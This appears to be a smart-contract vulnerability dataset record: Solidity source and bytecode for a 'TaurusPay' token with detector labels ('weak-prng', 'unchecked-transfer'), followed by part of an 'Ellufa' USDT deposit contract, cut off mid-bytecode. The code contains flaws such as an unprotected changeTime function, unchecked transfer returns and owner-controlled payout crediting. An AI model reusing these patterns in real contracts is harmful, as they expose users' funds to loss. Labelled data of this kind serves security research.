receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } emit Transfer(msg.sender, _to, _value, empty); return true; } /** * @dev Returns balance of the `_owner`. * * @param _owner The address whose balance will be returned. * @return balance Balance of the `_owner`. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, ERC223Token { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TaurusPay is StandardToken { string public constant name = "TaurusPay Token"; string public constant symbol = "TAPT"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 950 * 10**6 * (10**uint256(decimals)); address public owner; mapping (address => bool) public contractUsers; bool public mintingFinished; uint256 public tokenAllocated = 0; // list of valid claim mapping (address => uint) public countClaimsToken; uint256 public priceToken = 950000; uint256 public priceClaim = 0.0005 ether; uint256 public numberClaimToken = 200 * (10**uint256(decimals)); uint256 public startTimeDay = 50400; uint256 public endTimeDay = 51300; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event MinWeiLimitReached(address indexed sender, uint256 weiAmount); event Mint(address indexed to, uint256 amount); event MintFinished(); constructor(address _owner) public { totalSupply = INITIAL_SUPPLY; owner = _owner; //owner = msg.sender; // for test&#39;s balances[owner] = INITIAL_SUPPLY; transfersEnabled = true; mintingFinished = false; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); emit TokenPurchase(_investor, weiAmount, tokens); owner.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = _weiAmount.mul(priceToken); if (_weiAmount < 0.01 ether) { emit MinWeiLimitReached(msg.sender, _weiAmount); return 0; } if (tokenAllocated.add(addTokens) > balances[owner]) { emit TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); emit OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) { require(_to != address(0)); require(_amount <= balances[owner]); require(!mintingFinished); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); emit Mint(_to, _amount); emit Transfer(_owner, _to, _amount); return true; } function claim() canMint public payable returns (bool) { uint256 currentTime = now; //currentTime = 1540037100; //for test&#39;s require(validPurchaseTime(currentTime)); require(msg.value >= priceClaim); address beneficiar = msg.sender; require(beneficiar != address(0)); require(!mintingFinished); uint256 amount = calcAmount(beneficiar); require(amount <= balances[owner]); balances[beneficiar] = balances[beneficiar].add(amount); balances[owner] = balances[owner].sub(amount); tokenAllocated = tokenAllocated.add(amount); owner.transfer(msg.value); emit Mint(beneficiar, amount); emit Transfer(owner, beneficiar, amount); return true; } //function calcAmount(address _beneficiar) canMint public returns (uint256 amount) { //for test&#39;s function calcAmount(address _beneficiar) canMint internal returns (uint256 amount) { if (countClaimsToken[_beneficiar] == 0) { countClaimsToken[_beneficiar] = 1; } if (countClaimsToken[_beneficiar] >= 22) { return 0; } uint step = countClaimsToken[_beneficiar]; amount = numberClaimToken.mul(105 - 5*step).div(100); countClaimsToken[_beneficiar] = countClaimsToken[_beneficiar].add(1); } function validPurchaseTime(uint256 _currentTime) canMint public view returns (bool) { uint256 dayTime = _currentTime % 1 days; if (startTimeDay <= dayTime && dayTime <= endTimeDay) { return true; } return false; } function changeTime(uint256 _newStartTimeDay, uint256 _newEndTimeDay) public { require(0 < _newStartTimeDay && 0 < _newEndTimeDay); startTimeDay = _newStartTimeDay; endTimeDay = _newEndTimeDay; } /** * Peterson&#39;s Law Protection * Claim tokens */ function claimTokensToOwner(address _token) public onlyOwner { if (_token == 0x0) { owner.transfer(address(this).balance); return; } TaurusPay token = TaurusPay(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); emit Transfer(_token, owner, balance); } function setPriceClaim(uint256 _newPriceClaim) external onlyOwner { require(_newPriceClaim > 0); priceClaim = _newPriceClaim; } function setNumberClaimToken(uint256 _newNumClaimToken) external onlyOwner { require(_newNumClaimToken > 0); numberClaimToken = _newNumClaimToken; } }
0x60806040526004361061019d5763ffffffff60e060020a60003504166305d2035b81146101a957806306fdde03146101d2578063095ea7b31461025c57806318160ddd1461028057806323b872dd146102a75780632ff2e9dc146102d15780632ff6fe76146102e65780632ffd68d3146102fb578063313ce5671461031c578063347518c7146103475780634e71d92d1461035f57806354057aa6146103675780635931228b14610381578063643791501461039657806366188463146103ae578063672781ed146103d2578063707188c1146103e757806370a082311461040257806378f7aeee146104235780637d64bcb4146104385780638da5cb5b1461044d57806395d89b411461047e57806396d8b05014610493578063a6f9dae1146104b4578063a9059cbb146104d5578063ad001266146104f9578063be45fd621461051a578063bef97c8714610583578063d73dd62314610598578063d9144712146105bc578063dd62ed3e146105d1578063ec8ac4d8146105f8578063ed93ca261461060c578063f41e60c514610621578063fc38ce191461063b575b6101a633610653565b50005b3480156101b557600080fd5b506101be61073b565b604080519115158252519081900360200190f35b3480156101de57600080fd5b506101e7610744565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610221578181015183820152602001610209565b50505050905090810190601f16801561024e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026857600080fd5b506101be600160a060020a036004351660243561077b565b34801561028c57600080fd5b506102956107e1565b60408051918252519081900360200190f35b3480156102b357600080fd5b506101be600160a060020a03600435811690602435166044356107e7565b3480156102dd57600080fd5b5061029561096c565b3480156102f257600080fd5b5061029561097c565b34801561030757600080fd5b50610295600160a060020a0360043516610982565b34801561032857600080fd5b50610331610994565b6040805160ff9092168252519081900360200190f35b34801561035357600080fd5b506101be600435610999565b6101be6109e3565b34801561037357600080fd5b5061037f600435610bbc565b005b34801561038d57600080fd5b50610295610be5565b3480156103a257600080fd5b5061037f600435610beb565b3480156103ba57600080fd5b506101be600160a060020a0360043516602435610c14565b3480156103de57600080fd5b50610295610d04565b3480156103f357600080fd5b5061037f600435602435610d0a565b34801561040e57600080fd5b50610295600160a060020a0360043516610d30565b34801561042f57600080fd5b50610295610d4b565b34801561044457600080fd5b506101be610d51565b34801561045957600080fd5b50610462610db7565b60408051600160a060020a039092168252519081900360200190f35b34801561048a57600080fd5b506101e7610dc6565b34801561049f57600080fd5b5061037f600160a060020a0360043516610dfd565b3480156104c057600080fd5b506101be600160a060020a0360043516610fd1565b3480156104e157600080fd5b506101be600160a060020a036004351660243561106c565b34801561050557600080fd5b506101be600160a060020a03600435166112e4565b34801561052657600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261037f948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506112f99650505050505050565b34801561058f57600080fd5b506101be611569565b3480156105a457600080fd5b506101be600160a060020a0360043516602435611572565b3480156105c857600080fd5b5061029561160b565b3480156105dd57600080fd5b50610295600160a060020a0360043581169060243516611611565b610295600160a060020a0360043516610653565b34801561061857600080fd5b5061029561164c565b34801561062d57600080fd5b5061037f6004351515611652565b34801561064757600080fd5b5061029560043561167c565b60008080600160a060020a038416151561066c57600080fd5b3491506106788261167c565b905080151561068657600080fd5b600954610699908263ffffffff61176416565b6009556006546106b59085908390600160a060020a031661177a565b5060408051838152602081018390528151600160a060020a038716927fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f928290030190a2600654604051600160a060020a039091169083156108fc029084906000818181858888f19350505050158015610733573d6000803e3d6000fd5b509392505050565b60085460ff1681565b60408051808201909152600f81527f54617572757350617920546f6b656e0000000000000000000000000000000000602082015281565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b60006003366064146107f557fe5b600160a060020a038416151561080a57600080fd5b600160a060020a03851660009081526004602052604090205483111561082f57600080fd5b600160a060020a038516600090815260056020908152604080832033845290915290205483111561085f57600080fd5b60035460ff16151561087057600080fd5b600160a060020a038516600090815260046020526040902054610899908463ffffffff6118cf16565b600160a060020a0380871660009081526004602052604080822093909355908616815220546108ce908463ffffffff61176416565b600160a060020a038086166000908152600460209081526040808320949094559188168152600582528281203382529091522054610912908463ffffffff6118cf16565b600160a060020a0380871660008181526005602090815260408083203384528252918290209490945580518781529051928816939192600080516020611a29833981519152929181900390910190a3506001949350505050565b6b0311d253316c79d37600000081565b600b5481565b600a6020526000908152604090205481565b601281565b600854600090819060ff16156109ae57600080fd5b620151808306905080600e54111580156109ca5750600f548111155b156109d857600191506109dd565b600091505b50919050565b60085460009081908190819060ff16156109fc57600080fd5b429250610a0883610999565b1515610a1357600080fd5b600c54341015610a2257600080fd5b339150811515610a3157600080fd5b60085460ff1615610a4157600080fd5b610a4a826118e1565b600654600160a060020a0316600090815260046020526040902054909150811115610a7457600080fd5b600160a060020a038216600090815260046020526040902054610a9d908263ffffffff61176416565b600160a060020a038084166000908152600460205260408082209390935560065490911681522054610ad5908263ffffffff6118cf16565b600654600160a060020a0316600090815260046020526040902055600954610b03908263ffffffff61176416565b600955600654604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610b3f573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a2600654604080518381529051600160a060020a03808616931691600080516020611a29833981519152919081900360200190a36001935050505090565b600654600160a060020a03163314610bd357600080fd5b60008111610be057600080fd5b600c55565b600f5481565b600654600160a060020a03163314610c0257600080fd5b60008111610c0f57600080fd5b600d55565b336000908152600560209081526040808320600160a060020a038616845290915281205480831115610c6957336000908152600560209081526040808320600160a060020a0388168452909152812055610c9e565b610c79818463ffffffff6118cf16565b336000908152600560209081526040808320600160a060020a03891684529091529020555b336000818152600560209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600c5481565b816000108015610d1a5750806000105b1515610d2557600080fd5b600e91909155600f55565b600160a060020a031660009081526004602052604090205490565b60095481565b600654600090600160a060020a03163314610d6b57600080fd5b60085460ff1615610d7b57600080fd5b6008805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600654600160a060020a031681565b60408051808201909152600481527f5441505400000000000000000000000000000000000000000000000000000000602082015281565b6006546000908190600160a060020a03163314610e1957600080fd5b600160a060020a0383161515610e6957600654604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610e63573d6000803e3d6000fd5b50610fcc565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b158015610ecd57600080fd5b505af1158015610ee1573d6000803e3d6000fd5b505050506040513d6020811015610ef757600080fd5b5051600654604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b158015610f6b57600080fd5b505af1158015610f7f573d6000803e3d6000fd5b505050506040513d6020811015610f9557600080fd5b5050600654604080518381529051600160a060020a0392831692861691600080516020611a29833981519152919081900360200190a35b505050565b600654600090600160a060020a03163314610feb57600080fd5b600160a060020a038216151561100057600080fd5b600654604051600160a060020a038085169216907fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c90600090a35060068054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60008060608160023660441461107e57fe5b600160a060020a038716151561109357600080fd5b336000908152600460205260409020548611156110af57600080fd5b60035460ff1615156110c057600080fd5b33600090815260046020526040902054873b94506110e4908763ffffffff6118cf16565b3360009081526004602052604080822092909255600160a060020a03891681522054611116908763ffffffff61176416565b600160a060020a0388166000908152600460205260408120919091558411156112225786915081600160a060020a031663c0ee0b8a3388866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111bb5781810151838201526020016111a3565b50505050905090810190601f1680156111e85780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561120957600080fd5b505af115801561121d573d6000803e3d6000fd5b505050505b86600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1688866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561129c578181015183820152602001611284565b50505050905090810190601f1680156112c95780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35060019695505050505050565b60076020526000908152604090205460ff1681565b60008060033660641461130857fe5b600160a060020a038616151561131d57600080fd5b3360009081526004602052604090205485111561133957600080fd5b60035460ff16151561134a57600080fd5b33600090815260046020526040902054863b935061136e908663ffffffff6118cf16565b3360009081526004602052604080822092909255600160a060020a038816815220546113a0908663ffffffff61176416565b600160a060020a0387166000908152600460205260408120919091558311156114ac5785915081600160a060020a031663c0ee0b8a3387876040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561144557818101518382015260200161142d565b50505050905090810190601f1680156114725780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561149357600080fd5b505af11580156114a7573d6000803e3d6000fd5b505050505b85600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1687876040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561152657818101518382015260200161150e565b50505050905090810190601f1680156115535780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3505050505050565b60035460ff1681565b336000908152600560209081526040808320600160a060020a03861684529091528120546115a6908363ffffffff61176416565b336000818152600560209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600d5481565b600060023660441461161f57fe5b5050600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600e5481565b600654600160a060020a0316331461166957600080fd5b6003805460ff1916911515919091179055565b600080611694600b54846119ed90919063ffffffff16565b9050662386f26fc100008310156116e45760408051848152905133917f0f36f9ac72964373d449d48877bd9443e49c93c404464e4082e3de730bd3971b919081900360200190a2600091506109dd565b600654600160a060020a0316600090815260046020526040902054600954611712908363ffffffff61176416565b111561175e57600954604080519182526020820183905280517f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b629281900390910190a1600091506109dd565b92915050565b60008282018381101561177357fe5b9392505050565b60085460009060ff161561178d57600080fd5b600160a060020a03841615156117a257600080fd5b600654600160a060020a03166000908152600460205260409020548311156117c957600080fd5b60085460ff16156117d957600080fd5b600160a060020a038416600090815260046020526040902054611802908463ffffffff61176416565b600160a060020a038086166000908152600460205260408082209390935590841681522054611837908463ffffffff6118cf16565b600160a060020a038084166000908152600460209081526040918290209390935580518681529051918716927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a283600160a060020a031682600160a060020a0316600080516020611a29833981519152856040518082815260200191505060405180910390a35060019392505050565b6000828211156118db57fe5b50900390565b600854600090819060ff16156118f657600080fd5b600160a060020a0383166000908152600a6020526040902054151561193257600160a060020a0383166000908152600a60205260409020600190555b600160a060020a0383166000908152600a602052604090205460161161195b57600091506109dd565b50600160a060020a0382166000908152600a6020526040902054600d546119a190606490611995906005850260690363ffffffff6119ed16565b9063ffffffff611a1116565b600160a060020a0384166000908152600a60205260409020549092506119ce90600163ffffffff61176416565b600160a060020a0384166000908152600a602052604090205550919050565b6000828202831580611a095750828482811515611a0657fe5b04145b151561177357fe5b6000808284811515611a1f57fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058205050bf72e2392f5ce6e51a47b9cd3cb67ed9025cf1ee94eff256a2b4d5b409480029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,441
0x611e3143d911a657ae8db9968bf7a71cb33c808d
/** *Submitted for verification at Etherscan.io on 2021-03-31 */ pragma solidity 0.5.10; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function totalSupply() public view returns (uint256 supply); function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom( address _from, address _to, uint256 _value ) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); function decimals() public view returns (uint256 digits); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); } contract Ellufa { struct User { uint256 cycle; uint256 total_deposits; uint256 max_earnings; uint256 earnings_left; uint256 total_withdrawl; uint256 profitpayout; uint256 total_profitpayout; uint256 stakingpayout; uint256 total_stakingpayout; uint8 leader_status; } struct Merchant { uint256 total_payout; uint8 status; } struct Package { uint8 status; uint8 maxPayout; } using SafeMath for uint256; address payable public owner; address payable public companyaddress; address payable public usdt_address; address public node_address; address public exchange_address; uint256 public total_depositcount = 0; uint256 public total_deposited; uint256 public total_withdraw; uint256 public total_exchange_credit; uint256 public total_payout; uint256 public total_profit; uint256 public current_profit; uint256 public total_staked; uint256 public current_staked; uint8 public phaseversion; uint8 public tokendebit; // If disable its wont debit 20% uint256 public min_withdrawal; // Before live change to 6 digit uint8 public staking_status; uint8 public merchant_status; uint256 public multiplier; address public elft_address; uint8 public token_transfer_status; uint256 public token_price; uint8 public token_share; mapping(address => User) public users; mapping(address => Merchant) public merchants; mapping(uint256 => Package) public packages; event NewDeposit(address indexed addr, uint256 amount); event PayoutEvent(address indexed addr, uint256 payout, uint256 staking); event WithdrawEvent(address indexed addr, uint256 amount, uint256 service); event StakingEvent(address indexed addr, uint256 amount); event MerchantEvent(address indexed addr, uint256 amount); event ELFTTranEvent(address indexed addr, uint256 amount); event ExchangeDebit(address indexed addr, uint256 amount); event ExchangeCredit(address indexed addr, uint256 amount); constructor() public { owner = msg.sender; multiplier = 1000000; companyaddress = 0xFE31Bf2345A531dD2A8E6c5444070248698171BF; usdt_address = 0xdAC17F958D2ee523a2206206994597C13D831ec7; phaseversion = 1; tokendebit = 1; min_withdrawal = 100 * multiplier; staking_status = 0; merchant_status = 0; token_share = 20; packages[1000 * multiplier].status = 1; packages[1000 * multiplier].maxPayout = 2; } function initDeposit() external { ERC20 tc = ERC20(usdt_address); require(users[msg.sender].earnings_left == 0, "MAX CAP NOT REACHED"); require( tc.allowance(msg.sender, address(this)) > 0, "USDT APPROVAL FAILED" ); uint256 _amount = tc.allowance(msg.sender, address(this)); require( tc.transferFrom(msg.sender, address(this), _amount), "DEBIT FROM USDT FAILED" ); uint256 company_fee = _amount.div(100).mul(10); tc.transfer(companyaddress, company_fee); uint256 token_fee = _amount.div(100).mul(token_share); if (tokendebit == 1) { tc.transfer(companyaddress, token_fee); } else { //Phase 2 Added to staking users[msg.sender].stakingpayout = users[msg.sender] .stakingpayout .add(token_fee); users[msg.sender].total_stakingpayout = users[msg.sender] .total_stakingpayout .add(token_fee); total_staked = total_staked.add(token_fee); current_staked = current_staked.add(token_fee); } uint256 mxpayout = maxPayoutof(_amount); users[msg.sender].cycle++; total_depositcount++; total_deposited += _amount; users[msg.sender].total_deposits += _amount; users[msg.sender].max_earnings += mxpayout; users[msg.sender].earnings_left += mxpayout; emit NewDeposit(msg.sender, _amount); } function maxPayoutof(uint256 _amount) private view returns (uint256) { uint8 maxtimes = packages[_amount].maxPayout; return _amount * maxtimes; } function addNodeAddress(address _addr) external { require(msg.sender == owner, "OWNER ONLY"); node_address = _addr; } function addPayout(address _addr, uint256 amount) external { require( msg.sender == owner || msg.sender == node_address, "PRIVILAGED USER ONLY" ); if (users[_addr].leader_status == 0) require(users[_addr].earnings_left >= amount, "MAX PAYOUT REACHED"); total_payout = total_payout.add(amount); uint256 _profit = amount.div(100).mul(80); uint256 _staked = amount.div(100).mul(20); total_profit = total_profit.add(_profit); current_profit = current_profit.add(_profit); total_staked = total_staked.add(_staked); current_staked = current_staked.add(_staked); if (users[_addr].leader_status == 0) users[_addr].earnings_left -= amount; users[_addr].profitpayout += _profit; users[_addr].total_profitpayout += _profit; users[_addr].stakingpayout += _staked; users[_addr].total_stakingpayout += _staked; emit PayoutEvent( _addr, amount.div(100).mul(80), amount.div(100).mul(20) ); } function withdraw(uint256 _amount) external { require( users[msg.sender].profitpayout >= min_withdrawal, "MIN 100 USDT" ); require(users[msg.sender].profitpayout >= _amount, "NOT ENOUGH MONEY"); require(_amount >= min_withdrawal, "MIN 100 USDT"); ERC20 tc = ERC20(usdt_address); tc.transfer(msg.sender, _amount.div(100).mul(95)); tc.transfer(companyaddress, _amount.div(100).mul(5)); users[msg.sender].total_withdrawl = users[msg.sender] .total_withdrawl .add(_amount); total_withdraw = total_withdraw.add(_amount); current_profit = current_profit.sub(_amount); emit WithdrawEvent( msg.sender, _amount.div(100).mul(95), _amount.div(100).mul(5) ); users[msg.sender].profitpayout = users[msg.sender].profitpayout.sub( _amount ); } function investStaking(uint256 amount) external { require(staking_status == 1, "STAKING NOT ENABLED"); require( users[msg.sender].stakingpayout >= amount, "NOT ENOUGH STAKING AMOUNT" ); current_staked = current_staked.sub(amount); users[msg.sender].stakingpayout = users[msg.sender].stakingpayout.sub( amount ); ERC20 tc = ERC20(usdt_address); tc.transfer(companyaddress, amount); emit StakingEvent(msg.sender, amount); if (token_transfer_status == 1) { ERC20 elft = ERC20(elft_address); uint256 return_token = amount.div(token_price).mul(multiplier); elft.transfer(msg.sender, return_token); emit ELFTTranEvent(msg.sender, amount); } } function addMerchant(address _addr) external { require(msg.sender == owner, "OWNER ONLY"); merchants[_addr].status = 1; } function payMerchant(address _addr, uint256 _amount) external { require(merchant_status == 1, "MERCHANT NOT ENABLED"); require(merchants[_addr].status == 1, "ADDRESS NOT AVAILABLE"); require( users[msg.sender].stakingpayout >= _amount, "NOT ENOUGH BALANCE" ); current_staked = current_staked.sub(_amount); users[msg.sender].stakingpayout = users[msg.sender].stakingpayout.sub( _amount ); merchants[_addr].total_payout = merchants[_addr].total_payout.add( _amount ); ERC20 tc = ERC20(usdt_address); tc.transfer(_addr, _amount); emit MerchantEvent(msg.sender, _amount); } function addPackage(uint256 _amount, uint8 _maxpayout) public { require(msg.sender == owner, "OWNER ONLY"); require(_maxpayout >= 2, "MINIMUM 2 TIMES RETURN"); packages[_amount * multiplier].status = 1; packages[_amount * multiplier].maxPayout = _maxpayout; } function addLeaderAddress(address _address) public { require(msg.sender == owner, "OWNER ONLY"); users[_address].leader_status = 1; } function addELFTAddress(address _address) public { require(msg.sender == owner, "OWNER ONLY"); require(_address != address(0), "VALUID ADDRESS REQUIRED"); elft_address = _address; token_transfer_status = 1; } function addExchangeAddress(address _address) public { require(msg.sender == owner, "OWNER ONLY"); require(_address != address(0), "VALUID ADDRESS REQUIRED"); exchange_address = _address; } function debitStaking(address _address,uint256 _amount) public { require( msg.sender == owner || msg.sender == exchange_address, "PRIVILAGED USER ONLY" ); require( users[_address].stakingpayout >= _amount, "NOT ENOUGH BALANCE" ); current_staked = current_staked.sub(_amount); users[_address].stakingpayout = users[_address].stakingpayout.sub( _amount ); emit ExchangeDebit(_address,_amount); } function creditPayout(address _address,uint256 _amount) public { require( msg.sender == owner || msg.sender == exchange_address, "PRIVILAGED USER ONLY" ); total_profit = total_profit.add(_amount); current_profit = current_profit.add(_amount); total_exchange_credit = total_exchange_credit.add(_amount); users[_address].profitpayout = users[_address].profitpayout.add(_amount); users[_address].total_profitpayout = users[_address].total_profitpayout.add(_amount); emit ExchangeCredit(_address,_amount); } function addTokenPrice(uint256 _value) public { //6 Decimal require( msg.sender == owner || msg.sender == node_address, "PRIVILAGED USER ONLY" ); token_price = _value; } function updateTokenShares(uint8 _value) public { require(msg.sender == owner, "OWNER ONLY"); require(_value >= 0, "MUST HIGHER THAN 0"); token_share = _value; } function enablePhase2() public { require(msg.sender == owner, "OWNER ONLY"); phaseversion = 2; tokendebit = 2; staking_status = 1; merchant_status = 1; } }
0x608060405234801561001057600080fd5b50600436106102695760003560e01c80639066bd5511610151578063cd7d3a46116100c3578063e87f4d8011610087578063e87f4d80146105b7578063ee14e939146105bf578063f13fe48614610600578063f24bc35614610626578063f46eeb3114610652578063f46f4cd41461067e57610269565b8063cd7d3a461461058f578063cfd692a614610597578063d75339101461059f578063db977791146105a7578063de560cca146105af57610269565b8063af7568dd11610115578063af7568dd1461050c578063b3ec6bac14610514578063bf76c0ef1461051c578063c216212a14610542578063c4e297971461057f578063c8617d221461058757610269565b80639066bd551461044f5780639a46b140146104575780639a8318f41461045f578063a87430ba14610467578063ae5eace2146104e057610269565b806337e899c6116101ea5780637b4fd96e116101ae5780637b4fd96e146103b55780637de8b10a146103bd5780637fbfba30146103dd5780638a2e271a146104035780638da5cb5b146104295780638e5105161461043157610269565b806337e899c61461036f5780633e54a19a146103775780634368600c1461039d57806347ad5835146103a55780635a9b6d12146103ad57610269565b80631fef3056116102315780631fef3056146102dd578063270464271461030157806329b75b74146103095780632e1a7d4d14610335578063350b34b61461035257610269565b80630a02728b1461026e5780630e043fc9146102885780630fa3d26c146102a757806318f83379146102af5780631b3ed722146102d5575b600080fd5b610276610686565b60408051918252519081900360200190f35b6102a56004803603602081101561029e57600080fd5b503561068c565b005b6102766106fc565b6102a5600480360360208110156102c557600080fd5b50356001600160a01b0316610702565b610276610770565b6102e5610776565b604080516001600160a01b039092168252519081900360200190f35b610276610785565b6102a56004803603604081101561031f57600080fd5b506001600160a01b03813516906020013561078b565b6102a56004803603602081101561034b57600080fd5b50356109f1565b6102a56004803603602081101561036857600080fd5b5035610d42565b6102e5611002565b6102a56004803603602081101561038d57600080fd5b50356001600160a01b0316611011565b6102a56110e2565b6102e56115d4565b6102a56115e3565b61027661165e565b6102a5600480360360208110156103d357600080fd5b503560ff16611664565b6102a5600480360360408110156103f357600080fd5b508035906020013560ff166116c6565b6102a56004803603602081101561041957600080fd5b50356001600160a01b03166117a9565b6102e561186c565b61043961187b565b6040805160ff9092168252519081900360200190f35b610276611884565b61043961188a565b610276611893565b61048d6004803603602081101561047d57600080fd5b50356001600160a01b0316611899565b604080519a8b5260208b0199909952898901979097526060890195909552608088019390935260a087019190915260c086015260e085015261010084015260ff1661012083015251908190036101400190f35b6102a5600480360360408110156104f657600080fd5b506001600160a01b0381351690602001356118ed565b6102766